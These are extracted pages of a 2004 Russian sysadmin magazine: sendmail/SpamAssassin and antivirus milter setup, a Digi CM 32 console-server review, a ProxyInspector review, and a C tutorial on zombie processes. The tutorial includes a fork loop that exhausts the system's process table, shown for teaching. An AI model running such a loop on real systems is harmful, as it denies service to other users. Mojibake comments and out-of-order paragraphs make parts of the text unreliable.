T=C:15m;S:4m;R:4m;E:10m')

администрирование INPUT_MAIL_FILTER(`kavmilter',`S=unix:/var/run/kavmilter,F=T') define(`confMILTER_LOG_LEVEL',`6') MAILER(local) MAILER(smtp) # ========êîíåö ôàéëà main.mc===============

Полагаю, что вы немного знакомы с настройкой sendmail, поэтому не буду объяснять все позиции. Поясню лишь три: INPUT_MAIL_FILTER(`spamassassin', `S=local:/var/run/↵ spamass-milter.sock, F=, T=C:15m;S:4m;R:4m;E:10m')

Эта строчка говорит, что при получении письма почтовиком письмо передаётся фильтру spamassassin для проверки на спам. В результате обработки письму присваивается некий рейтинг.

спам-писем и для нормальных писем, пишем небольшой скрипт и обучаем систему. cd /home/user mkdir spamd spamd/ham spamd/spam cd spamd vi spamd-training.sh ====íà÷àëî ôàéëà spamd-training.sh==== #!/bin/sh sa-learn --ham /home/gennadiy/Spamd/ham/ sa-learn --spam /home/gennadiy/Spamd/spam/ =====êîíåö ôàéëà spamd-training.sh==== chmod +x spamd-training.sh

В каталог spamd/ham пишем нормальные письма, в каталог spamd/spam пишем спам. Запускаем скрипт: ./spamd-training.sh

INPUT_MAIL_FILTER(`kavmilter',`S=unix:/var/run/kavmilter,F=T')

Эта строчка говорит о том, что после обработки письма на потенциальный спам письмо попадает к Kaspersky Antivirus, а тот уже делает вывод, содержит ли письмо вирус или нет.

Всё. Статистику по обработке почты можно посмотреть командой: sa-learn --dump magic

define(`confMILTER_LOG_LEVEL',`6')

Ну и эта строка лишь уменьшает количество выводимой информации в логи, что удобно после отладки. Мне нужны только строки о поступлении и пересылке письма. Для «разбора полёта» письма их вполне достаточно. Собираем конфигурационный файл sendmail: m4 main.mc>sendmail.cf

Его надо перезаписать поверх старого файла /etc/mail/ sendmail.cf.

Обучение системы Итак, после всех этих процедур ваша система готова к работе. С начальными настройками она способна фильтровать до 60-70% лишней почты. Для увеличения этой цифры вам необходимо «обучить» систему. По большому счету в процессе работы система сама обучается. То есть чем больше писем она обрабатывает, тем меньше вероятность ошибки и больше процент фильтрации писем. Для ручного обучения (помощи системе) вам необходимо собрать от 200 спам-писем и нормальных писем. Передать их системе и обработать. Письма можно получить обычным экспортом из почтового клиента. Вид писем стандартный (.eml), вырезать из них ничего не надо. К примеру: =====íà÷àëî ôàéëà===== Return-Path: narayan@epfl.ch Received: from flashmail.com ([200.75.94.146]) by ns.mycompany.ru (8.12.10/8.12.10) with SMTP ↵ id hB38USe7096329 for <lan@mycompany.ru>; Wed, 3 Dec 2003 11:30:44 ↵ +0300 (MSK) (envelope-from narayan@epfl.ch) Date: Wed, 03 Dec 2003 06:35:56 +0000 From: narayan@epfl.ch Subject: =?Windows-1251?B?yvLuIOHz5OXyIOz98O7sPyE=?= To: Lan lan@mycompany.ru ………… ======êîíåö ôàéëà=====

Итак, в домашнем каталоге создаем два каталога для

№1(14), январь 2004

Последние штрихи, ссылки и благодарности Ну и несколько последних штрихов. На самом деле вы можете этот шаг пропустить или сделать так, как вам удобнее. Я для собственного успокоения создал каталог /usr/ local/etc/script. Переместил туда всё необходимые мне стартовые скрипты kavdaemon.sh, spammerdaemon.sh, kavmilter.sh, spamass-milter.sh. В каталоге /usr/local/etc/rc.d создал исполняемый скрипт следующего содержания: # =======íà÷àëî ôàéëà start.sh=============== #!/bin/sh # my start script # kavdaemon - antiviral tolkien pro /usr/local/etc/script/kavdaemon.sh start # starting mail filter daemon /usr/local/etc/script/spammerdaemon.sh start /usr/local/etc/script/kavmilter.sh start /usr/local/etc/script/spamass-milter.sh start # ========êîíåö ôàéëà start.sh===============

Вот вроде бы и всё. Буду благодарен за любые замечания на адрес: stranger03@mail.ru Огромное спасибо: Андрееву Павлу, системному администратору Novavox, и Тараненко Сергею, системному администратору Trinity, за неоценимую помощь в создании данной системы.

Ссылки на документы: 1. О самом cvsup можете прочитать здесь: http://www.freebsd.org.ru/how-to/cvsup/ 2. О настройках демона spamd можете прочитать здесь: http://www.spamassassin.org/doc/Mail_SpamAssassin_Conf.html 3. О тестовых параметрах, по которым можно подстраивать систему под ваши требования, можно прочитать здесь: http://spamassassin.org/tests.html 4. О настройках Sendmail можете прочитать здесь: http://unix1.jinr.ru/~lavr/webmail/sendmail_common.mc

администрирование

БЕЗОПАСНЫЙ УДАЛЁННЫЙ ДОСТУП К КОНСОЛЯМ ОБОРУДОВАНИЯ

ДМИТРИЙ РЖАВИН РАФАЭЛЬ ШАРАФAУТДИНОВ 74

администрирование История вопроса Для подавляющего большинства системных администраторов режим консольного доступа в общем-то рутинный, но в то же время универсальный и надежный инструмент как для первичного конфигурирования активного оборудования, так и для решения аварийных проблем. Поэтому агитировать кого-то особого смысла не имеет, но совершить небольшой экскурс в пользу подрастающего поколения все же стоит. Последовательные консоли были и остаются атрибутами Intel- и RISC-серверов, коммутаторов, маршрутизаторов, устройств VPN, офисных АТС и источников бесперебойного питания. Секрет консольного доступа заключается в его простоте, широком распространении и универсальности. Можно возразить, что необходимость встроенной консоли становится со временем менее актуальной, и производители встраивают в свои продукты графические интерфейсы администрирования, доступные в любой точке сети через стандартный веб-браузер. Да, так оно и есть, но рекламируя средства визуализации, производители часто умалчивают о том, что не все функции доступны в этом режиме. Что же мешает им в этом благородном деле? Ответ в общем-то прост. Наделяя свои устройства избыточными с точки зрения их основного назначения средствами визуализации, производителям приходится увеличивать размеры микроядра, управляющего ПО. Это в свою очередь снижает надежность этого самого ПО, и чем больше оно поддерживает графических возможностей, тем больше объем кода и тем больше вероятность сбоя. Даром ничего не дается. Достаточно вспомнить пример перехода со старой доброй ОС MS DOS на Windows 2.0 или 3.1 и какую дань нам приходится платить до сегодняшнего дня за удобства графического интерфейса Microsoft Windows. Кроме того, увеличение ПО и его функциональности снижает общую производительность устройств, что вынуждает использовать более мощные процессоры и увеличивать объем оперативной и флэш-памяти. В конечном итоге все это приводит к увеличению стоимости устройств, что не может устроить ни потребителей, ни поставщиков в условиях всеобщей ценовой конкуренции. Поэтому сегодня мы имеем дело с компромиссными решениями, когда наиболее часто используемые и простые функции становятся доступны в виде графического интерфейса, а по-настоящему полноценный тюнинг по-прежнему доступен с управляющей консоли. Не надо также забывать, что некоторые брандмауэры конфигурируются исключительно с консольного порта, а ввод c консоли команды сброса всех текущих установок зачастую является единственной возможностью вернуть к жизни «зависшее» устройство.

История выбора Рано или поздно критическая масса администрируемого оборудования превышает всякий порог нормального существования администратора, что заставляет подумать не только о себе любимом и дорогом. Возникает проблема, как упростить каждодневные операции и мак-

№1(14), январь 2004

симально быстро ликвидировать аварийные ситуации. При этом хотелось бы узнавать о сбоях не от разгневанного начальства или пользователей и иметь возможность восстановления истории инцидента для дальнейшего анализа и диагностики. Но это только часть критериев для поиска подходящего решения. При более широкой постановке вопроса, хотелось бы иметь устройство, которое, во-первых, могло бы обеспечить безопасность доступа к консолям. И при этом служило бы единственной точкой доступа к множеству устройств и делало такой доступ глобальным. Вовторых, имело бы высокую плотность портов и не занимало много места в монтажном шкафу при относительно низкой цене. В-третьих, устройство должно выдавать SNMP-трапы о системных событиях. В-четвертых, удобным, надежным и простым в управлении. Ну и, конечно же, все определяет цена решения. Как известно, всегда хочется иметь нечто такое, что идеально подходило бы для конкретной задачи, а не то, что в принципе может решить проблему. Распространенным решением является использование маршрутизаторов Cisco 25хх серии, которые в целом неплохо справляются с задачами терминального доступа. Но это устаревшее оборудование с максимальной плотностью 16 асинхронных портов на 1U, которое по сообщениям производителя уже давно должно быть снято с производства. Устройства 26 серии позволяют достичь нужной плотности портов, но дешевым это решение уже назвать трудно. Очень быстро удалось выяснить, что на текущий момент несколько производителей предлагают специализированные устройства для удаленного терминального и консольного доступа с высокой плотностью портов. На первый взгляд они обладали сходными техническими характеристиками и теоретически должны были справиться с поставленной задачей. Поэтому поступившее в начале 2003 года предложение одного из российских дистрибуторов компании Digi Int. протестировать ее продукцию оказалось как нельзя кстати. После тестирования нескольких устройств выбор пал на консольный сервер PortServer CM 32, который в ходе экспресс-тестирования удовлетворил большую часть наших требований и ожиданий. Спустя три месяца было решено приобрести один сервер и приступить к его полномасштабным испытаниям в условиях, максимально приближенных к боевым.

История внедрения При покупке нас ожидал настоящий сюрприз: поставщик прекратил производство так понравившегося нам консольного сервера, а вместо него предлагалась новая модель – Digi CM 32 (с 32 серийными портами) и по более привлекательной цене. Внешний дизайн устройства не претерпел значительных изменений, зато на передней панели появился слот для установки карт формата PCMCIA. В перечень поддерживаемых карт входили флэш-карты, карты беспроводного доступа, модемы и сетевые карты. Эта опция показалась нам весьма полезной, поскольку позволяла создавать дополнительное со-

администрирование единение при построении резервной сети управления. Кроме того, теперь имелся выбор из 8, 16, 32 и 48 портовых моделей. Текущей задачей была организация небольшой сетевой лаборатории. Как известно, людям свойственно ошибаться, и они пользуются этим свойством часто и с удовольствием. Причем это относится не только к пользователям, но и к многочисленным разработчикам, особенно ПО. Впрочем, все, кто проводил хоть сколько-нибудь сложные тесты оборудования, прекрасно понимают необходимость консольного доступа к устройствам. Собственно, при проведении тестирования у вас есть несколько вариантов: можно притащить большой и шумящий сервер или маршрутизатор на свой рабочий стол. Если вас не побьют коллеги. Также можно несколько раз в день брать ноутбук и идти в серверную комнату. Можно поставить консольный концентратор и подключить все консоли лаборатории к нему. Мы выбрали последний вариант. Итак, создание тестовой зоны мы решили начать с установки консольного концентратора, пары серверов, коммутатора и маршрутизатора, обеспечивающего подключение всего этого хозяйства к корпоративной сети. Все консольные кабели были подключены к консольному серверу Digi CM, кроме консоли самого Digi, которая была подключена к консольному концентратору технологической площадки – Cisco 26xx. Проблем с подключением не возникло, в сопроводительной документации есть схемы всех необходимых разводок. Для подключения консолей всех устройств использовалась стандартная кабельная разводка – обычные патч-корды 5-й категории и переходники-конструкторы RJ-45 – DB-9/DB-25, которые очень рекомендую. Переходники надо заказывать отдельно бандлами по 8 штук, но они перекрывают практически все варианты консолей DB-9, DB-25, male и female. Начальная конфигурация Digi осуществлялась через консоль. После конфигурации сетевого интерфейса мы перешли на веб-интерфейс, поскольку поддерживается и HTTP, и HTTPS. Меню простые и достаточно удобные, так что, если тонкая настройка не требуется, использовать CLI для управления концентратором не обязательно. Вообще поставляемое с Digi ПО удовлетворяет большинству стандартных запросов, так что лезть в устройство Shell может потребоваться только в специфичных случаях. Поэтому вам не придется изучать систему команд еще одного устройства только для того, чтобы добраться до консольных портов своего оборудования. Для любителей покрутить труднодоступные ручки намекну, что внутри живет сильно обрезанный Linux (Hard Hat Distribution). Начальная настройка устройства тоже не заняла много времени. Поменяли пароли предопределенных пользователей, выбрали настройки доступа к консолям: кроме параметров порта, можно выбрать протокол доступа к концентратору – мы выбрали SSH, включить port logging и даже настроить Digi на анализ сообщений с консоли устройства, установить фильтры доступа к консоли по IPадресу и имени пользователя и много чего еще. Затем выделили порт и IP-адрес для каждой консоли и добавили нескольких новых пользователей.

К быстро обнаруженным неприятным особенностям можно отнести очень большое время установки SSHсоединения (хотя после соединения сессия не тормо-

администрирование зит), а также требование выделять для обращения к каждому консольному порту уникальный IP-адрес. Хотя для подсоединения к консоли можно было использовать и основной IP-адрес устройства. Также показалось неудобным ограничение на длину имени пользователя – не менее пяти знаков. С настройкой остальных параметров пользователя все оказалось просто здорово: предусмотрены 4 предопределенных группы пользователей – User, Port Admin, System Admin, Root и 4 варианта их доступа к устройству – Web Interface, Port Access Menu, Direct Port Access, Custom Menu. Доступ к настройке параметров Digi CM, также возможен тремя путями: через Web Interface Configuration menu и интерфейс командной строки – CLI. Надо заметить, что только Root User может использовать CLI для полного доступа к встроенной операционной системе Linux Hard Hat. System Admin может использовать CLI только для чтения, но не ввода команд. Port Admin, System Admin и Root могут производить настройку параметров консолей, как в Web Interface, так и в Configuration menu. Группа User не имеют никаких возможностей вносить изменения в действующие настройки. В дополнение к авторизации с помощью паролей (поддерживаются локальная авторизация либо сетевая: TACACS+, RADIUS, LDAP, Kerberos) можно настроить авторизацию по public key:

К числу недостатков, обнаруженных позднее, можно отнести отсутствие опции timezone, без которой использование NTP выглядело проблематично из-за перехода на зимнее/летнее время. Также к явным багам можно отнести наличие права у пользователей группы Port Admin на перезагрузку устройства. Более того, в процессе эксплуатации была обнаружена несколько забавная ситуация: через некоторое время устройство поднимало на 80-м порту вместо веб-сервера сервер SSH. Вообще перечень замечаний оказался достаточно длинным: невозможность установить на порту ACL с netmask менее чем на 256 адресов, нестабильное соединение с консолью сервера через меню и т. д. В конечном итоге список возникших у нас вопросов и пожеланий был отправлен в службу технической поддержки Digi Int. Через некоторое время был получен ответ, что они учтут наши пожелания в следующих версиях. А еще через некоторое время вышла новая версия прошивки для Digi CM, в которой наиболее неприятные проблемы уже отсутствовали. После установки новой версии устройство стало работать стабильно, были поправлены некоторые неприятные особенности, например, выделение IP-адреса для доступа к порту стало опциональным, минимальная длина имени пользователя была сокращена до 3 знаков, кроме того, появилось множество удобных нововведений. Дальнейшие эксперименты проводились с новой версией ПО. Теперь веб-интерфейс не предусматривает возможности установки ACL для доступа только из одной сети. В одном из писем службы поддержки сообщалось, что Digi Int. не считает необходимой реализацию возможностей создания ACL из нескольких строк в веб-интерфейсе. Вместо этого они рекомендовали настроить ACL из CLI, используя обычный синтаксис ipf, на базе которого, собственно, все и построено.

При этом авторизацию на доступ к портам и к Port menu можно настроить независимо от авторизации на доступ к устройству:

Как уже было отмечено выше, на время тестирования было принято принципиальное решение не использовать CLI, чтобы установить, чего можно добиться, не проводя специального обучения сотрудников. А поскольку рабочие станции специалистов и администраторов серверной зоны находятся в разных сетях, было решено разделить доступ по управлению устройством по портам: специалисты настраивают Digi СМ через веб-интерфейс, а администраторы серверной зоны заносят данные по подключенному оборудованию через консольное меню.

№1(14), январь 2004

администрирование Как уже говорилось, каждый порт имеет собственный ACL, поэтому доступ к ним остается возможным для пользователей других сетей. Обращаться можно напрямую на IP-адрес и порт, назначенный данной консоли, или через меню.

Совсем короткая история Во время подготовки статьи была выпущена новая прошивка – версия 1.3. В ней появилось много интересных возможностей и были исправлены ошибки предыдущих версий. Надо сказать, что с этой версией эксперименты не проводились, поскольку целью тестирования были описанные выше вполне определенные задачи, а не проверка всех заявленных производителем возможностей. В целом нам удалось достичь поставленной цели, и к на-

стоящему моменту почти все серийные порты сервера были задействованы. В заключение хочется дать один совет: по возможности при установке обеспечивайте доступность консольного сервера несколькими путями. При эксплуатации Digi CM 32 как-то раз перегрузился маршрутизатор, обеспечивающий IP-доступ к лаборатории. Локальная сеть лаборатории была multihome, что позволило нам через другое устройство попасть на Digi CM, и в конечном итоге на консоль перезагрузившегося маршрутизатора. О причинах перезагрузки поведал все тот же Digi, точнее, его port log, который хранится в буферной памяти каждого серийного порта:

ПРАКТИЧЕСКАЯ КОНФЕРЕНЦИЯ ОБЕСПЕЧЕНИЕ ИНФОРМАЦИОННОЙ БЕЗОПАСНОСТИ ПРИ ВЗАИМОДЕЙСТВИИ ГРАЖДАН, БИЗНЕСА И ОРГАНОВ ГОСУДАРСТВЕННОЙ ВЛАСТИ С ИСПОЛЬЗОВАНИЕМ СРЕДСТВ ИНФОКОММУНИКАЦИЙ 10-11 марта 2004 года Конференция проводится общественно-государственным объединением «Ассоциация документальной электросвязи» при поддержке Минсвязи России, аппарата Совета безопасности Российской Федерации, Гостехкомиссии России, МВД России, ФСБ России. Перед участниками конференции выступят с докладами и ответят на вопросы представители государственных органов исполнительной и законодательной власти, представители науки, бизнеса, страховых, юридических и консалтинговых компаний, разработчики и системные интеграторы. На экспозиции будут представлены современные решения организаций – членов АДЭ по обеспечению информационной безопасности. Основные темы практической конференции: деятельность органов государственной власти по обеспечению информационной безопасности, юридические аспекты обеспечения информационной безопасности, основные компоненты обеспечения информационной безопасности, обеспечение информационной безопасности как управляемый процесс, исследование рынка средств обеспечения информационной безопасности, уязвимости и угрозы,

№1(14), январь 2004

г. Москва, отель «Аэростар» системы предупреждения и оповещения, совместимость средств обеспечения информационной безопасности,

использование общих критериев как инструмента

оценки уровня обеспечения информационной безопасности, противодействие распространению вредоносных программ и спама, инфраструктура идентификации на базе удостоверяющих центров, минимизация рисков и страхование ответственности, международное сотрудничество в сфере обеспечения информационной безопасности.

Программа конференции ориентирована на руководителей организаций и специалистов в области обеспечения информационной безопасности. Не пропустите важнейший российский Форум 2004 года по обеспечению информационной безопасности!

Оргкомитет: http://www.rans.ru тел.: (095) 273-34-28, 273-32-46, 273-48-83, 273-88-57, 956-26-12, 995-20-11 факс (095) 273-30-29 e-mail: info@mail.rans.ru

администрирование

PROXYINSPECTOR – ИНСТРУМЕНТ КОНТРОЛЯ ЗА РАСХОДОВАНИЕМ ИНТЕРНЕТ-ТРАФИКА

АНДРЕЙ БЕШКОВ 80

администрирование В тот день, когда администратор настраивает шлюз для доступа работников предприятия в Интернет, он сталкивается с необходимостью найти решения для проблем, с которыми никогда ранее не встречался. Сначала нужно обучить всех пользоваться браузером и почтовым клиентом. Потом приходит время бороться с вирусами, троянскими программами и прочим мусором, которые между прочими важными делами любопытные пользователи, словно малые дети, тянут из сети. Кажется, что счастливая и безмятежная жизнь для администратора наступит сразу же, как только с этими проблемами будет покончено. К сожалению, в реальном мире все обстоит иначе. Очнувшись после первого периода интернет-эйфории и разглядывая счета на оплату услуг провайдера, начальство все чаще начинает задавать сакраментальные вопросы «Кто столько скачал и почему мы должны за это платить?». В этот момент на сцену выходят программы для учета трафика. С их помощью руководство организации, начальники отдела ИТ или сотрудники службы безопасности могут увидеть достаточно подробную картину того, как сотрудники используют Интернет. Административные ме-ры, принятые на основе увиденного, безусловно, повысят производительность труда и обязательно сэкономят деньги компании. Системному администратору подобный инструмент тоже пригодится, так как позволит легко обнаружить аномальную активность в повседневных потоках данных между внутренней сетью и Интернетом. В зави-

№1(14), январь 2004

симости от операционной системы, используемой на шлюзовом компьютере, наличия прокси-сервера и типа предоставляемых услуг можно выбрать несколько наиболее распространенных решений. Например, для Unix-платформ характерны решения на основе межсетевого экрана и прокси-сервера, который может работать как на шлюзе, так и на отдельной машине. Самыми часто используемыми прокси-серверами являются Squid, Delegate, Socks. Для каждого из них написана большое количество разнообразных скриптов, которые анализируют протоколы запросов, поступавших к прокси-серверу от пользователей, и на их основе строят отчеты. К сожалению, такие подсчеты являются весьма приблизительными, так как в них не учитываются сетевые протоколы нижнего уровня. Возьмем, к примеру, ситуацию, когда пользователь скачивает из Интернета файл по протоколу HTTP. Предположим, что в качестве транспорта используется протокол TCP/IP, который отвечает за гарантированную доставку пакетов. Если какой-то из пакетов будет испорчен во время путешествия через сеть, то отправитель по запросу получателя пошлет его заново. И такая ситуация может повторяться много раз. Испорченные пакеты отбраковываются раньше, чем попадут к приложению прокси-сервера. Таким образом, получается, что статистика использования канала, выдаваемая прокси-сервером, будет весьма отличаться от количества данных, реально передан-

администрирование ных по каналу связи. Этот недостаток можно исправить, если кардинально изменить систему учета трафика. Теперь мы будем считать количество пакетов, прошедших через межсетевой экран. К сожалению, в этом случае нам скорее всего придется отказаться от услуг проксисервера, потому что все запросы пользователей будут направлены ему. А с точки зрения межсетевого экрана во внутренней сети будет находиться единственная машина, потребляющая львиную долю трафика. Думаю, всем понятно, что именно прокcи-сервер будет этой машиной, так как межсетевой экран не имеет никакого понятия об остальных компьютерах, потому что они не обращаются к нему напрямую. В ситуации, когда от возможностей, предоставляемых прокси-сервером, отказываться не хочется, наиболее простым выходом будет ведение двойной статистики. Одна по количеству и размеру пакетов, обработанных межсетевым экраном, а вторая по количеству запросов от пользователей и размерам файлов, кочевавших между пользовательскими рабочими станциями и прокси-сервером. На самом деле это не такая уж и сложная проблема. За многие годы эксплуатации администраторами этих систем придумано достаточно много уловок, позволяющих избавиться от большинства неудобств вышеописанных методов. Впрочем, обсуждение столь сложных вопросов выходит далеко за рамки данной статьи. Рассмотрев методики контроля за потреблением интернет-трафика, наиболее час-

то применяемые в Unix-системах, давайте сделаем то же самое и для комплексов, работающих на основе Windows. Самыми популярными прокси-серверами для данной платформы являются Ositis WinProxy, Qbik WinGate, Kerio WinRoute, Microsoft ISA Server. Все вышеперечисленные продукты являются одновременно и прокси-сервером, и межсетевым экраном. Такое положение дел очень упрощает процедуру сбора наиболее правдивых данных о подвигах пользователей на ниве Интернета. Каждый из них предназначен для своей целевой аудитории и соответственно обладает теми или иными преимуществами и недостатками. Ну а лично мне наиболее симпатичен ISA Server как продукт, наиболее полно соответствующий моим административным потребностям. К сожалению, штатные средства для создания отчетов о трафике и пользовательской активности, поставляемые вместе со всеми этими серверами, по моему мнению, выглядят довольно неказисто. В каждом из них чего-нибудь да не хватает. Пришлось искать продукт сторонней фирмы, позволяющий наиболее гибко работать со статистикой, которая стала предметом нашего разговора. Сегодня мы поговорим о программе ProxyInspector, созданной компанией ADVSoft, которая с моей точки зрения является лучшим кандидатом на это вакантное место. Первым делом стоит отметить, что эта программа может работать со всеми вышеперечисленными прокси-серверами. На данный момент существуют три основные версии данной утилиты:

администрирование ProxyInspector Light является самой простой версией и

предназначена для небольших компаний. Поставляется с лицензией на 12 пользователей и позволяет анализировать протоколы серверов Ositis WinProxy, Kerio WinRoute и Qbik WinGate. На данный момент разработка этой версии пока не закончена. Скорее всего рядовым пользователям она станет доступна в начале следующего года. ProxyInspector – выбор средних компаний. Для хранения данных может использоваться как локальная база, так и Interbase 6.x/Firebird. Позволяет обрабатывать данные, полученные из Ositis WinProxy, Qbik WinGate, Kerio WinRoute, Microsoft ISA Server. В связи с тем, что у данной версии программы есть интерфейс коммандной строки, появляется возможность создавать отчеты автоматически с помощью планировщика. Количество пользователей на одном сервере может варьироваться от 25 до 250. ProxyInspector Enterprise, созданная для работы на больших предприятиях, содержит в себе все возможности, перечисленные выше. И вдобавок обладает функциями работы с Active Directory. Для хранения базы данных может использовать Microsoft SQL Server и Interbase 6.x/Firebird.

Подробную информацию о стоимости разных версий этой утилиты, условия лицензирования, снимки экранов

№1(14), январь 2004

и образцы отчетов можно посмотреть на сайте: http:// www.advsoft.ru. Ну а я тем временем расскажу о собственном опыте работы с ProxyInspector для Microsoft ISA Server. Инсталляция пробной версии, взятой с сайта компании ADVSoft, прошла на удивление быстро и гладко. Требования к машине, заявленные разработчиками, выглядят весьма аскетично. Ну а для тех, кто не хочет участвовать в безумной гонке производителей оборудования, они покажутся очень даже приемлемыми: Процессор Pentium II с частотой 300 мегагерц. Оперативная память 64 мегабайта, если используется Windows 2000 или XP, то лучше иметь 128 мегабайт. 10 мегабайт свободного места на жестком диске . Операционная система Windows 98/ME/NT 4.0/2000/XP. Конечно, стоит понимать, что это минимальные требования, и они будут расти в зависимости от объема обрабатываемой информации. Но все же, мне кажется, что даже при очень больших файлах протоколов не стоит ожидать, что требования к аппаратному обеспечению будут очень уж высоки. Устанавливать ProxyInspector можно на любую машину, имеющую доступ к файлам протоколов ISA Server. Такая возможность позволяет выполнять приложение по анализу протоколов с рабочей станции сотрудника службы безопасности. Ну а если установка выполнена на ту же машину, на которой работает ISA Server, то сразу же после

администрирование инсталляции ProxyInspector самостоятельно находит местоположение протоколов прокси-сервера. Это, безусловно, приятно, хотя в то же время стоит помнить, что этот механизм встроен не во все версии программы. Остается только убедиться, что нужные файлы записываются прокси-сервером в формате W3C и можно приступать к импортированию данных в свою внутреннюю базу. Синтаксический анализ и импортирование данных выполняется с достаточно высокой скоростью. Чтобы процесс импортирования не потреблял слишком много ресурсов и не мешал остальным приложениям, в программу встроена возможность гибко регулировать его системный приоритет. С помощью глобальных настроек программы можно управлять модулем преобразования IP-адресов в имена хостов. Для ускорения его работы служит встроенная система кэширования dns-запросов. Кстати, кроме всего прочего, ProxyInspector умеет самостоятельно управлять файлами протоколов ISA Server. Например, мне было удобно поручить ему автоматическое удаление старых протоколов, возраст которых превысил восемь недель. Рассматривая интерфейс программы, нужно отметить его удобство и интуитивную понятность. Все элементы визуальной среды, с которыми сталкивается пользователь, могут отображаться на английском, русском и немецком языках. То же самое относится и к генерируемым отчетам, к созданию которых можно приступить после завершения импортирования данных. Отдельной похвалы заслуживает электронная документация, поставляемая вместе с программой. Структура расположения материалов и подробность их изложения позволяют разобраться в любом вопросе за считанные минуты. К сожалению, тут не обошлось без досадных ляпсусов. Несмотря на многоязычность программы, документация почему-то только на английском. Впрочем, по моему мнению, для большинства администраторов это не критично. Ну а если душа просит документацию на родном языке, то вам нужно зайти на http://www.advsoft.ru/ru/ download/download_addon.php и скачать дополнительный пакет русскоязычной справки для вашей версии программы. Закончив с обзором внешнего вида, вернемся к созданию отчетов. Как и во всех нормальных программах, делается это с помощью мастера отчетов. Из следующего списка нужно выбрать административную единицу, о которой мы хотим что-либо знать:

прокси-сервер пользователи группы пользователей время дни недели IP-адреса сайты протоколы приложения Группы пользователей можно создавать и редактировать самостоятельно, ну а в версии Enterprise их можно импортировать из Active Directory. Это в свою очередь позволяет наиболее гибко реализовывать специфику организационных единиц предприятия. После указания административной единицы настраиваем сортировку строк отчета. Доступные следующие варианты: имени пользователя/IP-адресу количеству запросов входящему трафику исходящему трафику суммарному трафику При желании можно указать, нужны ли нам диаграммы и какого вида. А если все же нужны, то какие шрифты и цвета использовать для их оформления. После этого определяем данные, за какой период нас интересуют. И наконец даем отчету имя. Это нужно не только для того, чтобы мы смогли впоследствии различать разные отчеты. Пользуясь менеджером отчетов, мы сможем создавать на его основе шаблоны для других отчетов. Ну а с помощью меню «Отчеты» доступны настройки формата сохранения создаваемого отчета. ProxyInspector для ISA Server может создавать отчеты в виде html-документа с CSS или без него, или же в виде электронных таблиц Excel. Вдобавок к сохранению на жестком диске полученный отчет можно автоматически отправлять по почте. К сожалению, на форме с настройками поле для ввода почтового адреса только одно. Это, конечно, не значит, что отчет можно отправить только одному человеку. Ситуацию можно упростить, если воспользоваться ухищрениями с почтовыми псевдонимами или перечислить всех получателей в адресной строке через запятую. Надеюсь, в следующей версии разработчики исправят это досадное неудобство. Там же можно указать тему, обратный адрес, формат создаваемого письма и способ прикрепления файла с отчетом. Также очень полезным добавлением в программу показался редактор протоколов, распознаваемых ProxyInspector. Пользуясь им, можно описывать свои собственные протоколы и строить отчеты по только что описанному типу трафика. Ну а тех, кому создавать собственные отчеты лень, несомненно, порадует набор готовых отчетов, поставляемых вместе с ProxyInspector. Заканчивая обзор семейства программ ProxyInspector, хотелось бы отметить, что, за исключением мелких недочетов, работа с этими программами вызвала у меня только положительные эмоции. Надеюсь, что столь полезный инструмент будет востребован многими системными администраторами.

программирование

«УБИВАЕМ» ЗОМБИ

Практически в любой *nix-подобной операционной системе существует такое понятие, как «зомби». В качестве примера возмём Linux (2.4.20). Зомби – это процесс, завершивший своё выполнение, но не удалённый. Зомби практически не занимают никаких ресурсов, но поскольку они являются процессами, то занимают место в proc. Как известно, количество процессов в системе ограничено, и если текущее количество процессов максимально, то операционная система отказывает нам в создании новых процессов, мотивируя это временным отсутствием ресурсов. Таким образом и рождается проблема с зомби: их возникает так много, что в системе больше не могут создаваться новые процессы. Но чаще зомби встречаются поодиночке. С зомби сталкивался практически каждый программист, а число программ, в которых были или есть проблемы с зомби, настолько велико, что перечислить их все не представляется возможным. Вот только некоторые из них: lynx, xchat, links, stunnel, galeon, xinetd.

АНДРЕЙ УВАРОВ 86

программирование Процесс становится зомби тогда, когда он уже завершился, а в его родительском процессе не была вызвана функция wait. Функции wait, wait3, wait4 и waitpid предназначены для получения родительским процессом кода завершения его потомка. В случае если потомок уже завершился, все системные ресурсы, занимаемые процессом, будут освобождены, а функция немедленно возвратит значение pid потомка. Для начала попробуем просто создать процесс-потомок: #include <unistd.h> #include <stdio.h> #include <sys/types.h> int main(){ // ñ ýòîãî ìåñòà íà÷èíàåò ñâî¸ âûïîëíåíèå ïîòîìîê pid_t chld_PID= fork(); //åñëè chld_PID == 0, òî òåêóùèé ïðîöåññ – ïîòîìîê if(chld_PID!= 0){ printf("I'm a parent\n"); }else{ printf("I'm a child\n"); return 0; }

Вызовом fork создаётся копия текущего процесса. Выполнение нового процесса начинается с того места, где был произведён вызов fork. В случае благополучного создания нового процесса родителю fork возвращает pid потомка, а потомку возвращается ноль (значение 0 не является pid самого потомка, в Linux не существует процессов с pid, равным 0, для получения идентификатора текущего процесса необходимо использовать getpid). Это необходимо для того, чтобы процесс мог определить, является ли он родителем или потомком. В случае ошибки новый процесс не создаётся и возвращается -1. Разобравшись с вызовом fork, попробуем создать одного зомби: #include <unistd.h> #include <stdio.h> #include <sys/types.h> int main(){ pid_t chld_PID= fork(); if(chld_PID!= 0){ printf("I'm a parent\n"); //îñòàíîâèì âûïîëíåíèå ðîäèòåëÿ äî ââîäà ñèìâîëà getchar(); }else{ printf("I'm a child\n"); } return 0; }

Откомпилируем и выполним текущий пример. Для того чтобы «увидеть в глаза» нашего зомби, получим список процессов:

Значение поля STAT, равное Z, означает, что данный процесс и есть наш зомби. Но поодиночке зомби не страшны, поэтому модифицируем предыдущий пример: #include <sys/types.h> #include <unistd.h> #include <stdio.h> int main(){ pid_t our_child; while(our_child != -1){ our_child= fork(); if(our_child == 0){ return 0; } } getchar(); return 0; }

Итак, откомпилировав и выполнив текущий пример, мы получим максимальное количество процессов в системе. Если попробуем выполнить команду ps, то получим сообщение о невозможности выполнения нашей команды по известной нам причине (команда ps взята для примера, вызов практически любой команды будет завершён подобным образом). [dashin@dashin zombies]$ ps ax bash: fork: Resource temporarily unavailable [dashin@dashin zombies]$

